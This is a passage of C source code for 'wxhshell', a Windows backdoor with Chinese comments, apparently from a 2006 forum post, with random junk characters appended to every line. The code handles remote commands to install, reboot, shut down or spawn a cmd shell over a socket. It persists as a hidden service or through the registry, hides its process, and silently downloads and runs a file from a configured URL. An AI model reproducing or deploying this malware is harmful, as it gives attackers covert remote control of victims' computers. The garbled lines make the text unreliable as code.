  case '?': { S[y'{;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m !:F/?B  
    break; Ps0 Cc_  
  } `pbCPa{Y  
  // 安装 b#7nt ?`7p  
  case 'i': { (B` NnL$  
    if(Install()) $U,]c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K14.!m  
    else l4kqz.Z-g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,U9j7E<4  
    break; k8E2?kbF  
    } Gh_5$@ hF  
  // 卸载 A#$l;M.3R  
  case 'r': {  '0f!o&?g  
    if(Uninstall()) J|xXo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_Vd%<:  
    else 0of:tZU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G,A?yM'Vw  
    break; ,pcyU\68v  
    } , JH*l:7  
  // 显示 wxhshell 所在路径 0uKm)t/  
  case 'p': { a/E(GQ,,  
    char svExeFile[MAX_PATH]; CV |Ae [  
    strcpy(svExeFile,"\n\r"); ~a=]w#-KD  
      strcat(svExeFile,ExeFile); ';eAaDM  
        send(wsh,svExeFile,strlen(svExeFile),0); .dzw5R&  
    break; 5@.8O VPz  
    } KUW )F  
  // 重启 <> =(BAw  
  case 'b': { h9S f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +4t \j<T  
    if(Boot(REBOOT)) U-?r>K2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZ#A`&qUd  
    else { K{y`Sb~k  
    closesocket(wsh); i_L u  
    ExitThread(0); x^3K=l;N  
    } >CCy2W^W  
    break; s,J\nbj0h  
    } /_<_X 7  
  // 关机 "% \ y$  
  case 'd': { j.Y!E<e4]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =[4C[s  
    if(Boot(SHUTDOWN)) z@[n?t!7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *mWS+xcU(L  
    else { !OV+2suu1  
    closesocket(wsh); fpNq  
    ExitThread(0); 2wU,k(F_  
    } }`whg8 fZ  
    break; Pd:tRY+t/  
    } CNiJuj`  
  // 获取shell fNr*\=$  
  case 's': { bAY >o  
    CmdShell(wsh); k="w EZ;Q  
    closesocket(wsh); (4l M3clF  
    ExitThread(0); 9Lt3^MKa"  
    break; YbVZK4  
  }  mznE Cy  
  // 退出 q+YK NXI  
  case 'x': { <y-2ovw*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R{4[.  
    CloseIt(wsh); wj$3 L3  
    break; g[2[ zIB=  
    } "=f,4Zbj  
  // 离开 gO~>*q &  
  case 'q': { ohXbA9&(x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :)_P7k`>e/  
    closesocket(wsh); Ft2 ZZ<As  
    WSACleanup(); yOjTiVQ9  
    exit(1); .R+n}>+K  
    break; USf;}F:-C  
        } KG5B6Om5'  
  } ng2yZ @$  
  } 78z/D|{"  
D//Ts`}+n  
  // 提示信息 My9fbT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "^pF2JI  
} 5tb i};  
  } A- hWg;  
Th])jQ*  
  return; Y%rC\Ij/i  
} =>C3IR/  
~xZ )btf  
// shell模块句柄 nRZ T~S4  
int CmdShell(SOCKET sock) b|Ed@C  
{ p t{/|P  
STARTUPINFO si; 5geZ6]|  
ZeroMemory(&si,sizeof(si)); q|;+Wp?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5[qx5|O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fwyz|>H_Y(  
PROCESS_INFORMATION ProcessInfo; j"+R*H(#  
char cmdline[]="cmd"; n]JfdI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +>h'^/rAE  
  return 0; vw q Y;7  
} 5|[\Se#  
BYDOTy/%nJ  
// 自身启动模式 oX]c$<w5  
int StartFromService(void) X15e~;&  
{ u|8V7*)3  
typedef struct o2(*5*b!@e  
{ 7^8<[8  
  DWORD ExitStatus; -,xsUw4  
  DWORD PebBaseAddress; My >{;n=}  
  DWORD AffinityMask; W^nG\"T^  
  DWORD BasePriority; 0Z[8d0  
  ULONG UniqueProcessId; ;(Qm<JAa  
  ULONG InheritedFromUniqueProcessId; 'v3> "b  
}   PROCESS_BASIC_INFORMATION; ZYW=#df R  
Oz,/y3_  
PROCNTQSIP NtQueryInformationProcess; a_(vpD^  
 F_%&,"$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XAr YmO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r`'n3#O*  
2:S 4M.j  
  HANDLE             hProcess; ;-sF%c  
  PROCESS_BASIC_INFORMATION pbi; Hb *&&  
&@D,|kHk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "^iw {]~U  
  if(NULL == hInst ) return 0; bxg9T(Bj  
;i&'va$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zz04Pz1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qjh @oWT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A[oxG;9xi  
#PRkqg+|  
  if (!NtQueryInformationProcess) return 0; U,u\o@3A  
*X lnEHv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cz9T,  
  if(!hProcess) return 0; 1~q|%"J  
}" 'l8t0?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {*PB+WGe  
6d3-GMUQ  
  CloseHandle(hProcess); X}3o  
oW/ #/;|`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) crhF9!4  
if(hProcess==NULL) return 0; F4Gv=q)Z  
'`Z5 .<n7p  
HMODULE hMod; _gF )aE  
char procName[255]; Dx27s  
unsigned long cbNeeded; f?A*g$v  
i/U HDqZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i~6qOlLD-  
oos7x6  
  CloseHandle(hProcess); DrB PC@^  
FCEFg)c5=  
if(strstr(procName,"services")) return 1; // 以服务启动 paW7.~3 R  
+O @0gl  
  return 0; // 注册表启动 oUBn:Ir@  
} $/Q*@4t  
7.l[tKh  
// 主模块 g k[8'  
int StartWxhshell(LPSTR lpCmdLine) LN?W~^gsR  
{ uN1O(s  
  SOCKET wsl; ]MP6VT  
BOOL val=TRUE; @ zE>n  
  int port=0; x;Jy-hMNl  
  struct sockaddr_in door; xV4 #_1(  
dw!cDfT+  
  if(wscfg.ws_autoins) Install(); _0<EbJ8Z  
/K9Tn  
port=atoi(lpCmdLine); LMrb 1lg$  
X)|b_3Z  
if(port<=0) port=wscfg.ws_port;  u m[nz  
aD@sb o  
  WSADATA data; n15F4DnP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >\ :kP>U  
K Zw"?%H[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f6ad@2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >8nRP%r[5,  
  door.sin_family = AF_INET; d-=/@N!4e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x%JtI'sg  
  door.sin_port = htons(port); T0ebW w  
(P[:g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _s Z9p4]  
closesocket(wsl); <o";?^0Q  
return 1; ^{GnEqml&  
} c?{&=,u2  
{`vF4@  
  if(listen(wsl,2) == INVALID_SOCKET) {  c6;tbL  
closesocket(wsl); h$FpH\-  
return 1;  IR,`-  
} ?j{LE- (  
  Wxhshell(wsl); $)M8@d  
  WSACleanup(); &JM|u ww?1  
LuB-9[^<  
return 0; /,z4tf  
R*D0A@  
} &oTUj'$  
geL)v7t+#  
// 以NT服务方式启动 %11&8Fp1s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eEkF Zx  
{ CCOd4  
DWORD   status = 0; 7Xi)[M?)#  
  DWORD   specificError = 0xfffffff; 9GuG"^08  
hGx)X64Mw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ((TiBCF4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8C2s-%:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MS-}IHO  
  serviceStatus.dwWin32ExitCode     = 0; z )2h\S  
  serviceStatus.dwServiceSpecificExitCode = 0; {(i>$RG_  
  serviceStatus.dwCheckPoint       = 0; +v3@WdLcD  
  serviceStatus.dwWaitHint       = 0; :e 5)Q=lX  
y1!c:&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {i)k#`  
  if (hServiceStatusHandle==0) return; t8,s]I&  
~*9 vn Z@  
status = GetLastError(); v_PhJKE  
  if (status!=NO_ERROR) 8o-*s+EY"&  
{ {1.t ZCMT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *wcb5p  
    serviceStatus.dwCheckPoint       = 0; o[W7'1O  
    serviceStatus.dwWaitHint       = 0; vd>X4e ^j  
    serviceStatus.dwWin32ExitCode     = status; ]?p&sI4  
    serviceStatus.dwServiceSpecificExitCode = specificError; G%w hOIFRq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~8++b1/;  
    return; .V9/0  
  } j()<.h;'  
+(*S@V$c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;#G)([  
  serviceStatus.dwCheckPoint       = 0; A>8uLO G}  
  serviceStatus.dwWaitHint       = 0; .olDmFQD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TOp|Qtn  
} GtRc7,  
r7r>1W%4  
// 处理NT服务事件,比如:启动、停止 IP K.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^~k2(DLk  
{ @bQf =N+  
switch(fdwControl) 1-4iy_d  
{ ,rT62w*e  
case SERVICE_CONTROL_STOP: RfVVAaI  
  serviceStatus.dwWin32ExitCode = 0; )54;YK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y| *X  
  serviceStatus.dwCheckPoint   = 0; S+G!o]&2  
  serviceStatus.dwWaitHint     = 0; C~Fdo0D  
  { p}%T`e=Z9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01VEz 8[\  
  } M[N$N`9  
  return; B:om61Dn  
case SERVICE_CONTROL_PAUSE: `x2Q:&.H`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q%6 1_l  
  break; <\< [J0  
case SERVICE_CONTROL_CONTINUE: 5T)qn`%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y -j3d)T  
  break; O)78 iEXi|  
case SERVICE_CONTROL_INTERROGATE: _Gv[ D  
  break; 7jIye8Zi8  
}; F3$@6J8<[z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $gU6=vN1#  
}  ~{7/v  
kZXsL  
// 标准应用程序主函数 s*<\ mwB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8C1 'g7A<  
{ RM8p[lfX  
'xi[- -  
// 获取操作系统版本 ;Ll/rJ:*  
OsIsNt=GetOsVer(); .'QE o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !P X`sIkT  
bM[!E8dF  
  // 从命令行安装 Ergh]"AD6-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y;ytm #=  
fG2hCP+  
  // 下载执行文件 f$vWi&(  
if(wscfg.ws_downexe) { 9~8 A>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f>\guuG  
  WinExec(wscfg.ws_filenam,SW_HIDE); :=qblc  
} R#OVJ(#  
?-mDvW  
if(!OsIsNt) { Enu/Nj 2  
// 如果时win9x,隐藏进程并且设置为注册表启动 #p@8m_g  
HideProc(); $\BRX\6(-  
StartWxhshell(lpCmdLine); kk_$j_0  
} W<<{}'Db/#  
else *"4d6  
  if(StartFromService()) dLb9p"EE#  
  // 以服务方式启动 \mRRx#-r%  
  StartServiceCtrlDispatcher(DispatchTable); n]$50_@  
else 3T)GUzt`  
  // 普通方式启动 +L(0R&C  
  StartWxhshell(lpCmdLine); i;4|UeUl  
4FK|y&p4r  
return 0; fx &b*O C  
}
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只看该作者 1 发表于: 2006-10-10
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